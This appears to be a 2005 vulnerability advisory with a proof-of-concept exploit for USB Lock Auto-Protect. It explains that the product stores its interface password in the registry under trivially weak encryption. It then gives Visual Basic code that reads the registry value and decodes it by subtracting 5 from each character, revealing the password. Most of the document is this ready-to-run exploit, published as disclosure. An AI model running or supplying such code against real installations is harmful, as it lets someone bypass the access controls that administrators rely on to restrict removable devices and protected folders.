USB Lock Auto-Protect Locally Stored Password Recovery
7 Sep. 2005
Summary
"Prevent or allow the use of removable USB storage devices, CD-ROMs and floppy disks with USB Lock AP (Auto-Protect). The program also offers drag-and-drop folder protection without changing folder location. In addition it offers the ability to lock the PC and still be able to see screen contents. Its interface is protected by encrypted password and offers active protection working as a Windows service at the local system level making it suitable for both home and business use".
Due to the fact that the USB Lock uses a weak encryption algorithm to encrypt the password stored in the registry. It is possible to recover the password for bypass interface protection.
'Background:
'
'Prevent or allow the use of removable USB storage devices, CD-ROMs and floppy disks
'with USB Lock AP (Auto-Protect). The program also offers drag-and-drop folder protection
'without changing folder location. In addition it offers the ability to lock the PC and
'still be able to see screen contents. Its interface is protected by encrypted password and
'offers active protection working as a Windows service at the local system level making it
'suitable for both home and business use.
'Vulnerability:
'
'The weakness is caused due to the use of a weak encryption algorithm to encrypt the password
'stored in the registry. It is possible to recover the password for bypass interface protection.
'#########################################
Option Explicit
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" ( _
ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, _
ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Dim i As Integer
Dim Decrypt As String
Private Sub Form_Load()
Dim Handle, Test As Long
Dim Crypt As String * 50
If RegOpenKeyEx(&H80000001, "Software\VB and VBA Program Settings\vbts\id", 0, &HF003F, Handle) = 0 Then
Test = RegQueryValueEx(Handle, "dll", 0, 1, Crypt, 50)
lcd = Crypt
RegCloseKey (Handle)
i = 1
If Len(lcd) <> 0 Then
Do While (i <= Len(lcd))
Decrypt = Decrypt & Chr(Asc(Mid(lcd, i, 1)) - 5)
i = i + 1
Loop
lcd = "Your decrypted password is:" & vbCrLf & vbCrLf & Decrypt
End If
Else
MsgBox "USB Lock Auto-Protect is not installed !", vbCritical, "Recovery Tool"
End
End If
End Sub